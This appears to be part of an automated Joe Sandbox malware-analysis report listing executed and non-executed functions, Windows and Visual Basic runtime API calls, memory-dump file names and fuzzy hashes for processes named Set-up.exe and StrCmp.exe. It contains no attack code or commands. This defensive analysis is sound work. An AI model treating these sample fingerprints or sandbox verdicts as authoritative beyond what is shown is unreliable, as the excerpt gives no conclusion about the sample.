Opcode ID: c495513ce09f06f770a8644d560c9ecd6ea23197b5d8059ecd23be2a2a67ec62
Instruction ID: 9a09926029962dc2936c8afec36d1b3d4ec38530124175047998fc43582151dc
Opcode Fuzzy Hash: c495513ce09f06f770a8644d560c9ecd6ea23197b5d8059ecd23be2a2a67ec62
Instruction Fuzzy Hash: A2312BE7D0EAC25FE653526D1CA60EA7F94BF2339870E00F6D694CB193FC1D28065255

Function 00007FFD347A87FA Relevance: 5.1, Strings: 4, Instructions: 90COMMON

Download Yara Rule

Strings

K_^, xrefs: 00007FFD347A882A
K_^, xrefs: 00007FFD347A887A
K_^, xrefs: 00007FFD347A87FA
K_^, xrefs: 00007FFD347A886A

Memory Dump Source

Source File: 00000000.00000002.2483035483.00007FFD347A0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD347A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ffd347a0000_powershell.jbxd

Similarity

API ID:
String ID: K_^$K_^$K_^$K_^
API String ID: 0-4267328068
Opcode ID: 62761e16685080bca046cb75d759ce92219f64d07b9a2729c3e26573f8501633
Instruction ID: 0729ef2b49b1792d546d59351530cc2b36ac9a4157859711c5b4d7cdacd42f25
Opcode Fuzzy Hash: 62761e16685080bca046cb75d759ce92219f64d07b9a2729c3e26573f8501633
Instruction Fuzzy Hash: 3A317BD7D0FAC25FEB63621818E60E57F949F2335471E00F6C5948B293FC0C28169652

Analysis Process: Set-up.exePID: 5308, Parent PID: 6232COMMON

Execution Graph

Execution Coverage:	0.2%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	3.4%
Total number of Nodes:	175
Total number of Limit Nodes:	0

Non-executed Functions

Function 6C99B4E4 Relevance: 7.6, APIs: 5, Instructions: 58
COMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

IsDebuggerPresent.KERNEL32 ref: 6C9A692C
SetUnhandledExceptionFilter.KERNEL32(00000000), ref: 6C9A6941
UnhandledExceptionFilter.KERNEL32(6CB708B4), ref: 6C9A694C
GetCurrentProcess.KERNEL32(C0000409), ref: 6C9A6968
TerminateProcess.KERNEL32(00000000), ref: 6C9A696F

Memory Dump Source

Source File: 00000004.00000002.2560717638.000000006C4F1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C4F0000, based on PE: true

Associated: 00000004.00000002.2560691363.000000006C4F0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000004.00000002.2569700222.000000006CA47000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000004.00000002.2569700222.000000006CB38000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000004.00000002.2569700222.000000006CB87000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000004.00000002.2572681695.000000006CC08000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000004.00000002.2572768504.000000006CC0D000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000004.00000002.2572827460.000000006CC0F000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000004.00000002.2572943956.000000006CC1A000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000004.00000002.2572976660.000000006CC1C000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000004.00000002.2573126575.000000006CC32000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000004.00000002.2573154644.000000006CC37000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000004.00000002.2573183466.000000006CC3A000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_6c4f0000_Set-up.jbxd

Similarity

API ID: ExceptionFilterProcessUnhandled$CurrentDebuggerPresentTerminate
String ID:
API String ID: 2579439406-0
Opcode ID: 3b4231a81ff03d3efd92e1d8a0fa81c10fbbd37bc134c2c327df305ce96c387a
Instruction ID: 8fb10aafa8cfefef49dfa15f1fe0da1302f9a9f11c2c6ad1c20f8a078df9530b
Opcode Fuzzy Hash: 3b4231a81ff03d3efd92e1d8a0fa81c10fbbd37bc134c2c327df305ce96c387a
Instruction Fuzzy Hash: D52136B4B01345DFCF20DF19E648A443BB4BB0A318F10A45AE80CC3B50D7B05A81EF94

Function 6C4F14E6 Relevance: 8.8, APIs: 1, Strings: 4, Instructions: 72
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

__EH_prolog3.LIBCMT ref: 6C4F14ED

Strings

1SendSlot(int,int,int,int,int *), xrefs: 6C4F1556
1PostSlot(int,int,int,int), xrefs: 6C4F1573
2SendSignal(int,int,int,int,int *), xrefs: 6C4F155C
2PostSignal(int,int,int,int), xrefs: 6C4F1579

Memory Dump Source

Source File: 00000004.00000002.2560717638.000000006C4F1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C4F0000, based on PE: true

Associated: 00000004.00000002.2560691363.000000006C4F0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000004.00000002.2569700222.000000006CA47000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000004.00000002.2569700222.000000006CB38000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000004.00000002.2569700222.000000006CB87000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000004.00000002.2572681695.000000006CC08000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000004.00000002.2572768504.000000006CC0D000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000004.00000002.2572827460.000000006CC0F000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000004.00000002.2572943956.000000006CC1A000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000004.00000002.2572976660.000000006CC1C000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000004.00000002.2573126575.000000006CC32000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000004.00000002.2573154644.000000006CC37000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000004.00000002.2573183466.000000006CC3A000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_6c4f0000_Set-up.jbxd

Similarity

API ID: H_prolog3
String ID: 1PostSlot(int,int,int,int)$1SendSlot(int,int,int,int,int *)$2PostSignal(int,int,int,int)$2SendSignal(int,int,int,int,int *)
API String ID: 431132790-2266928568
Opcode ID: 03a7afbee300d6ec65c83474279b10adaa2c456fffcb821ea07d5ff593502cb4
Instruction ID: dee74d19db09a436e3456591f1a59f1e5f17f40ef1c1066d29db4d6eb90db9f3
Opcode Fuzzy Hash: 03a7afbee300d6ec65c83474279b10adaa2c456fffcb821ea07d5ff593502cb4
Instruction Fuzzy Hash: 9621D4F1B00242ABDB14DFA88C85EAD76B4AB5132CF10542EE126EBB80CB70D9458B50

Function 6C4F18E8 Relevance: 6.0, APIs: 4, Instructions: 25
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

QStringCreate.WEBUI(?,?,?,6C4F1AD2,00000000,webkitcreate,?), ref: 6C4F18F1
QStringSet.WEBUI(00000000,?,?,?,?,6C4F1AD2,00000000,webkitcreate,?), ref: 6C4F18FD

Part of subcall function 6C4F1338: __EH_prolog3.LIBCMT ref: 6C4F133F

QStringCreate.WEBUI(00000000,?,?,?,?,6C4F1AD2,00000000,webkitcreate,?), ref: 6C4F1902
QStringSet.WEBUI(00000000,00000000,00000000,?,?,?,?,6C4F1AD2,00000000,webkitcreate,?), ref: 6C4F190C

Memory Dump Source

Source File: 00000004.00000002.2560717638.000000006C4F1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C4F0000, based on PE: true

Associated: 00000004.00000002.2560691363.000000006C4F0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000004.00000002.2569700222.000000006CA47000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000004.00000002.2569700222.000000006CB38000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000004.00000002.2569700222.000000006CB87000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000004.00000002.2572681695.000000006CC08000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000004.00000002.2572768504.000000006CC0D000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000004.00000002.2572827460.000000006CC0F000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000004.00000002.2572943956.000000006CC1A000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000004.00000002.2572976660.000000006CC1C000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000004.00000002.2573126575.000000006CC32000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000004.00000002.2573154644.000000006CC37000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000004.00000002.2573183466.000000006CC3A000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_6c4f0000_Set-up.jbxd

Similarity

API ID: String$Create$H_prolog3
String ID:
API String ID: 3317808019-0
Opcode ID: bb5f300f43bc8ef7d4cfdba64c22a93c6e0e1812096c25a01eed9743141cb16d
Instruction ID: 94527c674281b564bc65a00225abe91e8870b411f987d98efdb5a89fdfd26340
Opcode Fuzzy Hash: bb5f300f43bc8ef7d4cfdba64c22a93c6e0e1812096c25a01eed9743141cb16d
Instruction Fuzzy Hash: F4E086B22002007AE7019AA15C40FFF766CDBD9A59F00001EF25062A408795CC1B52F6

Analysis Process: StrCmp.exePID: 4856, Parent PID: 5308COMMON

Execution Graph

Execution Coverage:	0.2%
Dynamic/Decrypted Code Coverage:	100%
Signature Coverage:	0%
Total number of Nodes:	220
Total number of Limit Nodes:	1

Callgraph

Executed
Not Executed
Opacity -> Relevance
Disassembly available

Executed Functions

Function 004014BC Relevance: 1.6, APIs: 1, Instructions: 124
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

#100.MSVBVM60(0040160C), ref: 004014C1

Memory Dump Source

Source File: 00000005.00000002.2448078657.0000000000401000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.2448065471.0000000000400000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000005.00000002.2448092565.0000000000406000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000005.00000002.2448105519.0000000000407000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_StrCmp.jbxd

Similarity

API ID: #100
String ID:
API String ID: 1341478452-0
Opcode ID: e1df500c5e035d398dbcba4ac8353573d4d7d352f8ae75b10b3b59ec70385542
Instruction ID: 59ae6d68a0d76de1b89f6189ad3a8d43729d8b16629c88d7dbdd5a3f90f478ac
Opcode Fuzzy Hash: e1df500c5e035d398dbcba4ac8353573d4d7d352f8ae75b10b3b59ec70385542
Instruction Fuzzy Hash: 3C410C2150E7C04FE3134BB989691A6BFB0AE5362032A80EBC4C2DF5B3D168494AD332

Non-executed Functions

Function 00402C80 Relevance: 51.4, APIs: 34, Instructions: 405
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

__vbaNew2.MSVBVM60(00402114,?), ref: 00402CDB
__vbaHresultCheckObj.MSVBVM60(00000000,?,00402104,00000024,?,?), ref: 00402CFF
__vbaI2I4.MSVBVM60(?,?), ref: 00402D0B
__vbaNew2.MSVBVM60(00402114,?,?,?,?,?,?), ref: 00402D3B
__vbaHresultCheckObj.MSVBVM60(00000000,00000000,00402104,0000001C,?,?,?,?,?), ref: 00402D6D
__vbaVarTstEq.MSVBVM60(?,?,?,?,?,?,?), ref: 00402D87
__vbaFreeVar.MSVBVM60(?,?,?,?,?), ref: 00402D92
__vbaNew2.MSVBVM60(00402114,?,?,?), ref: 00402DC2
__vbaHresultCheckObj.MSVBVM60(00000000,?,00402104,00000020,?,?,?,?,?,?,?), ref: 00402E15
__vbaFreeVarList.MSVBVM60(00000003,?,?,?,?,?,?,?,?,?,?), ref: 00402E29
__vbaNew2.MSVBVM60(00402114,?,?), ref: 00402E3E
__vbaHresultCheckObj.MSVBVM60(00000000,?,00402104,00000024), ref: 00402E62
__vbaCastObj.MSVBVM60(?,00401E94), ref: 00402E7A
__vbaObjSet.MSVBVM60(?,00000000), ref: 00402E85
__vbaFreeObj.MSVBVM60(?), ref: 00402E97

Memory Dump Source

Source File: 00000005.00000002.2448078657.0000000000401000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.2448065471.0000000000400000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000005.00000002.2448092565.0000000000406000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000005.00000002.2448105519.0000000000407000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_StrCmp.jbxd

Similarity

API ID: __vba$CheckHresultNew2$Free$CastList
String ID:
API String ID: 3344304291-0
Opcode ID: 8ebb6527f93325dc95c295105a0a45629615831bc1f106861f2e6fa958efbede
Instruction ID: 1ffe9cb1af1314b68fd53d29b88f73f3902b85f642a300435601b50277aadd5c
Opcode Fuzzy Hash: 8ebb6527f93325dc95c295105a0a45629615831bc1f106861f2e6fa958efbede
Instruction Fuzzy Hash: 62F13DB4900209EFDB14DF94C988B9EBBB8FF48705F20816AF505BB294D7745985CF64

Function 004043B0 Relevance: 33.2, APIs: 22, Instructions: 185
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

__vbaCastObj.MSVBVM60(00000000,00401FD4), ref: 004043F8
__vbaObjSet.MSVBVM60(?,00000000), ref: 00404409
__vbaNew.MSVBVM60(004022F8), ref: 00404410
__vbaObjSet.MSVBVM60(?,00000000), ref: 0040441B
__vbaHresultCheckObj.MSVBVM60(00000000,004012B8,00401D5C,00000098), ref: 00404445
__vbaObjIs.MSVBVM60(?,00000000), ref: 00404454
__vbaFreeObj.MSVBVM60 ref: 00404460
__vbaNew.MSVBVM60(00402318), ref: 00404472
__vbaObjSet.MSVBVM60(?,00000000), ref: 0040447D
__vbaHresultCheckObj.MSVBVM60(00000000,004012B8,00401D5C,000000A0), ref: 0040449D
__vbaFreeObj.MSVBVM60 ref: 004044A2
__vbaHresultCheckObj.MSVBVM60(00000000,004012B8,00401D5C,00000098), ref: 004044C7
__vbaHresultCheckObj.MSVBVM60(00000000,?,004020B8,00000020), ref: 004044EB
__vbaHresultCheckObj.MSVBVM60(00000000,?,004022E8,00000028), ref: 0040450C
__vbaFreeObj.MSVBVM60 ref: 0040452D
__vbaHresultCheckObj.MSVBVM60(00000000,?,004022E8,0000002C), ref: 00404559
__vbaObjSet.MSVBVM60(?,?), ref: 0040456A
__vbaCastObj.MSVBVM60(00000000,004022E8), ref: 00404577
__vbaObjSet.MSVBVM60(?,00000000), ref: 00404582
__vbaObjSetAddref.MSVBVM60(?,?), ref: 00404590
__vbaFreeObj.MSVBVM60(004045C7), ref: 004045BF
__vbaFreeObj.MSVBVM60 ref: 004045C4

Memory Dump Source

Source File: 00000005.00000002.2448078657.0000000000401000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.2448065471.0000000000400000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000005.00000002.2448092565.0000000000406000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000005.00000002.2448105519.0000000000407000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_StrCmp.jbxd

Similarity

API ID: __vba$CheckHresult$Free$Cast$Addref
String ID:
API String ID: 1791865128-0
Opcode ID: e751c38b6cbb533b737f0c8f38cac152a26d331a1e01057d25491d01e4aa3747
Instruction ID: 0c33e795a854d9ce9be3c5c331579d6505feea98815c5ad554fa49b2f9d11c71
Opcode Fuzzy Hash: e751c38b6cbb533b737f0c8f38cac152a26d331a1e01057d25491d01e4aa3747
Instruction Fuzzy Hash: 455132B1900218AFDB00DFA5CD89EEEBBB8FF98701F148529F605B71E1D77898458B64

Function 00401BB0 Relevance: 27.2, APIs: 18, Instructions: 208
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

__vbaChkstk.MSVBVM60(00000000,00401316), ref: 00402F0E
__vbaOnError.MSVBVM60(000000FF,?,00000000,00401316,00000000,00401316), ref: 00402F3E
__vbaHresultCheckObj.MSVBVM60(00000000,?,00401D5C,00000098), ref: 00402F7B
__vbaHresultCheckObj.MSVBVM60(00000000,?,004020B8,00000034), ref: 00402FBD
__vbaFreeObj.MSVBVM60 ref: 00402FE2
__vbaHresultCheckObj.MSVBVM60(00000000,?,00401D5C,00000098), ref: 0040302B
__vbaHresultCheckObj.MSVBVM60(00000000,?,004020B8,00000030), ref: 0040306D
__vbaFreeObj.MSVBVM60 ref: 00403082
__vbaCastObj.MSVBVM60(00000000,004020B8), ref: 00403096
__vbaObjSet.MSVBVM60(?,00000000), ref: 004030A1

Memory Dump Source

Source File: 00000005.00000002.2448078657.0000000000401000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.2448065471.0000000000400000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000005.00000002.2448092565.0000000000406000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000005.00000002.2448105519.0000000000407000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_StrCmp.jbxd

Similarity

API ID: __vba$CheckHresult$Free$CastChkstkError
String ID:
API String ID: 630915874-0
Opcode ID: 4e86aa9824f1d9da7e95e512091862ad4d063c1236c60a9e71227807d04613a0
Instruction ID: f8e8a75d2df9a6e13ccd567ca65e1a3e3a21a348ac6a2049d7fe20645882add7
Opcode Fuzzy Hash: 4e86aa9824f1d9da7e95e512091862ad4d063c1236c60a9e71227807d04613a0
Instruction Fuzzy Hash: B9911C74901208EFDB04DFE4C948B9DBBB9FF48341F208169E506BB2A4D7799A85CF94

Function 00404A90 Relevance: 26.4, APIs: 14, Strings: 1, Instructions: 117
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

__vbaCastObj.MSVBVM60(00000000,00402534,00000001,00000001,?,?,00401316), ref: 00404ADC
__vbaObjSet.MSVBVM60(?,00000000,?,00401316), ref: 00404AED
__vbaSetSystemError.MSVBVM60(00000000,?,00401316), ref: 00404AF5
__vbaFreeObj.MSVBVM60(?,00401316), ref: 00404AFE
__vbaObjIs.MSVBVM60(00000000,00000000,?,00401316), ref: 00404B0C
__vbaNew.MSVBVM60(00402114,?,00401316), ref: 00404B1C
__vbaObjSet.MSVBVM60(00406024,00000000,?,00401316), ref: 00404B28
__vbaObjSetAddref.MSVBVM60(?,0000000A,?,00401316), ref: 00404B4D
__vbaHresultCheckObj.MSVBVM60(00000000,00000000,00402104,00000020,?,00401316), ref: 00404B90
__vbaCastObj.MSVBVM60(?,00401E94,?,00401316), ref: 00404B9F
__vbaObjSet.MSVBVM60(?,00000000,?,00401316), ref: 00404BA7
__vbaFreeObj.MSVBVM60(?,00401316), ref: 00404BAC
__vbaFreeVarList.MSVBVM60(00000003,?,?,?,?,00401316), ref: 00404BC0
__vbaSetSystemError.MSVBVM60(00000000,00000000,00000001,004048B0), ref: 00404BE4

Strings

@, xrefs: 00404B6D

Memory Dump Source

Source File: 00000005.00000002.2448078657.0000000000401000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.2448065471.0000000000400000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000005.00000002.2448092565.0000000000406000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000005.00000002.2448105519.0000000000407000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_StrCmp.jbxd

Similarity

API ID: __vba$Free$CastErrorSystem$AddrefCheckHresultList
String ID: @
API String ID: 616752853-3871860774
Opcode ID: e218fb0a3a767e3d20446619a77b072f3ca33cd58e038ec1b0a91f93e8eb9685
Instruction ID: 0223130af3e5612e644720188d9efaeeeb254cb1d16fc075c7a4186dddfb0116
Opcode Fuzzy Hash: e218fb0a3a767e3d20446619a77b072f3ca33cd58e038ec1b0a91f93e8eb9685
Instruction Fuzzy Hash: 214156B5D00205AFDB04DF94DE49EEEBBB8EF88700F10402AF605B72A0D7746A45CB69

Function 004048B0 Relevance: 25.6, APIs: 17, Instructions: 146
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

__vbaObjSetAddref.MSVBVM60(?,00000000), ref: 004048F7
__vbaHresultCheckObj.MSVBVM60(00000000,?,00402104,00000024), ref: 0040492D
__vbaHresultCheckObj.MSVBVM60(00000000,?,00402104,0000001C), ref: 00404967
__vbaCastObjVar.MSVBVM60(?,00401E94), ref: 00404972
__vbaObjSet.MSVBVM60(?,00000000), ref: 0040497D
__vbaFreeVarList.MSVBVM60(00000002,00000002,?), ref: 00404989
__vbaHresultCheckObj.MSVBVM60(00000000,?,00402104,00000028), ref: 004049BB
__vbaFreeVar.MSVBVM60 ref: 004049C0
__vbaHresultCheckObj.MSVBVM60(00000000,?,00401E94,0000001C), ref: 004049E1
__vbaCastObj.MSVBVM60(?,00402534,00000000,00000001), ref: 004049EF
__vbaObjSet.MSVBVM60(?,00000000), ref: 004049FA
__vbaSetSystemError.MSVBVM60(00000000), ref: 00404A02
__vbaFreeObj.MSVBVM60 ref: 00404A0B
__vbaObjSetAddref.MSVBVM60(?,00000000), ref: 00404A1C
__vbaSetSystemError.MSVBVM60(00000000,?), ref: 00404A2D
__vbaFreeObj.MSVBVM60(00404A72), ref: 00404A6A
__vbaFreeObj.MSVBVM60 ref: 00404A6F

Memory Dump Source

Source File: 00000005.00000002.2448078657.0000000000401000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.2448065471.0000000000400000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000005.00000002.2448092565.0000000000406000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000005.00000002.2448105519.0000000000407000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_StrCmp.jbxd

Similarity

API ID: __vba$Free$CheckHresult$AddrefCastErrorSystem$List
String ID:
API String ID: 3736056430-0
Opcode ID: c9c324e6d91b348524478eb2b65841d715e63175a5b9e1ba649bc8b00558d13b
Instruction ID: c6e2453db4b71e406891040928ab9fb5a5c7856928b8735fa9f044e057d0178c
Opcode Fuzzy Hash: c9c324e6d91b348524478eb2b65841d715e63175a5b9e1ba649bc8b00558d13b
Instruction Fuzzy Hash: 48510FB1A40209AFDB04DFE4DE89FEE7BB8EB88704F104129E601F7194D7789949CB64

Function 00404750 Relevance: 15.1, APIs: 10, Instructions: 105
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

__vbaObjSetAddref.MSVBVM60(?,?), ref: 004047AC
__vbaObjSetAddref.MSVBVM60(?,00401316), ref: 004047B6
__vbaHresultCheckObj.MSVBVM60(00000000,?,00401FE4,0000002C), ref: 004047D7
__vbaFreeStrList.MSVBVM60(00000002,?,?), ref: 004047E7
__vbaHresultCheckObj.MSVBVM60(00000000,?,00401FE4,0000002C), ref: 0040480F
__vbaStrMove.MSVBVM60(?,?,?,?,?,?,?,?,?,?,?,?,?,?,00401316), ref: 0040481E
__vbaRaiseEvent.MSVBVM60(004012D8,00000002,00000001), ref: 00404847
__vbaFreeStr.MSVBVM60 ref: 00404853
__vbaFreeObj.MSVBVM60(00404888), ref: 00404880
__vbaFreeObj.MSVBVM60 ref: 00404885

Memory Dump Source

Source File: 00000005.00000002.2448078657.0000000000401000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.2448065471.0000000000400000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000005.00000002.2448092565.0000000000406000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000005.00000002.2448105519.0000000000407000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_StrCmp.jbxd

Similarity

API ID: __vba$Free$AddrefCheckHresult$EventListMoveRaise
String ID:
API String ID: 3137959150-0
Opcode ID: 88a6a9faad9c5b2ab2ff689ec35d4ee7b85368e4cf38969628020ee08d3cacea
Instruction ID: fd0aa834e28c5849051deaaaf0d745ef8f2a6123dda653c0d9f0172547d9c91f
Opcode Fuzzy Hash: 88a6a9faad9c5b2ab2ff689ec35d4ee7b85368e4cf38969628020ee08d3cacea
Instruction Fuzzy Hash: EB411BB1900209AFDB00DF94CD86EEEBBB9FF88704F10855AE505B72A1D774A945CFA4

Function 004045F0 Relevance: 15.1, APIs: 10, Instructions: 105
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

__vbaObjSetAddref.MSVBVM60(?,?), ref: 0040464C
__vbaObjSetAddref.MSVBVM60(?,00401316), ref: 00404656
__vbaHresultCheckObj.MSVBVM60(00000000,?,00401FE4,0000002C), ref: 00404677
__vbaFreeStrList.MSVBVM60(00000002,?,?), ref: 00404687
__vbaHresultCheckObj.MSVBVM60(00000000,?,00401FE4,0000002C), ref: 004046AF
__vbaStrMove.MSVBVM60(?,?,?,?,?,?,?,?,?,?,?,?,?,?,00401316), ref: 004046BE
__vbaRaiseEvent.MSVBVM60(004012C8,00000001,00000001), ref: 004046E7
__vbaFreeStr.MSVBVM60 ref: 004046F3
__vbaFreeObj.MSVBVM60(00404728), ref: 00404720
__vbaFreeObj.MSVBVM60 ref: 00404725

Memory Dump Source

Source File: 00000005.00000002.2448078657.0000000000401000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.2448065471.0000000000400000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000005.00000002.2448092565.0000000000406000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000005.00000002.2448105519.0000000000407000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_StrCmp.jbxd

Similarity

API ID: __vba$Free$AddrefCheckHresult$EventListMoveRaise
String ID:
API String ID: 3137959150-0
Opcode ID: e2420602314218a4c385f6c5b9f055e19ba619be51416b55b1f35fc09a532a78
Instruction ID: 88a05aac2ff17ba0dad42e85ae4ae84198a1f0780f93c703bf7b35f26f73f511
Opcode Fuzzy Hash: e2420602314218a4c385f6c5b9f055e19ba619be51416b55b1f35fc09a532a78
Instruction Fuzzy Hash: DE414EB1900209AFDB00DF94CD86EEEBBB9FF88704F10855AE505B72A0D774A945CFA4

Function 00402A30 Relevance: 9.1, APIs: 6, Instructions: 83
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

__vbaHresultCheckObj.MSVBVM60(00000000,00401140,00401D5C,00000098,?,?,?,?,?,?,?,?,?,?,00401316), ref: 00402A95
__vbaObjIs.MSVBVM60(?,00000000,?,?,?,?,?,?,?,?,?,?,00401316), ref: 00402AA4
__vbaFreeObj.MSVBVM60(?,?,?,?,?,?,?,?,?,?,00401316), ref: 00402AB2
__vbaHresultCheckObj.MSVBVM60(00000000,00401140,00401D5C,00000098,?,?,?,?,?,?,?,?,?,?,00401316), ref: 00402ADC
__vbaHresultCheckObj.MSVBVM60(00000000,?,004020B8,00000034,?,?,?,?,?,?,?,?,?,?,00401316), ref: 00402AFC
__vbaFreeObj.MSVBVM60(?,?,?,?,?,?,?,?,?,?,00401316), ref: 00402B07

Memory Dump Source

Source File: 00000005.00000002.2448078657.0000000000401000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.2448065471.0000000000400000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000005.00000002.2448092565.0000000000406000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000005.00000002.2448105519.0000000000407000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_StrCmp.jbxd

Similarity

API ID: __vba$CheckHresult$Free
String ID:
API String ID: 3976024557-0
Opcode ID: 4e3618856c9960496ef33c7d9e96526f0580df8aa6eba093424923a2e3dbc5b3
Instruction ID: 21063e6276b021375f11eb1b2cbb602d6208a9ab3f331f2692cf6c29eea94216
Opcode Fuzzy Hash: 4e3618856c9960496ef33c7d9e96526f0580df8aa6eba093424923a2e3dbc5b3
Instruction Fuzzy Hash: F7214470A00205ABCB10DFA5CA89EAEBBBCFF59700F10852AF505B72E1C7B85445CB94

Function 004032A0 Relevance: 9.1, APIs: 6, Instructions: 57
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

__vbaObjIs.MSVBVM60(00403422,00000000,?,?,?,?,?,?,?,00401316), ref: 004032E5
__vbaNew.MSVBVM60(00402244,?,?,?,?,?,?,?,00401316), ref: 004032F5
__vbaObjSet.MSVBVM60(?,00000000,?,?,?,?,?,?,?,00401316), ref: 00403300
__vbaObjSetAddref.MSVBVM60(004011A0,00000000,?,?,?,?,?,?,?,00401316), ref: 00403308
__vbaFreeObj.MSVBVM60(?,?,?,?,?,?,?,00401316), ref: 00403311
